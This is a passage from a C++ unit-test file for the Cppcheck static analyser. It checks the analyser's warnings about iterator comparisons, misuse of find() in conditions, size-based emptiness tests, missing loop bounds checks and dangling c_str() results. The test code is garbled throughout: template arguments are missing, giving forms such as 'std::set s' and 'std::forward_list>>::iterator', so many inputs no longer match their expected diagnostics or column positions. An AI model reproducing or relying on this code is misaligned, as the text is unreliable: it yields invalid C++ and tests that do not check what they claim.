ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n 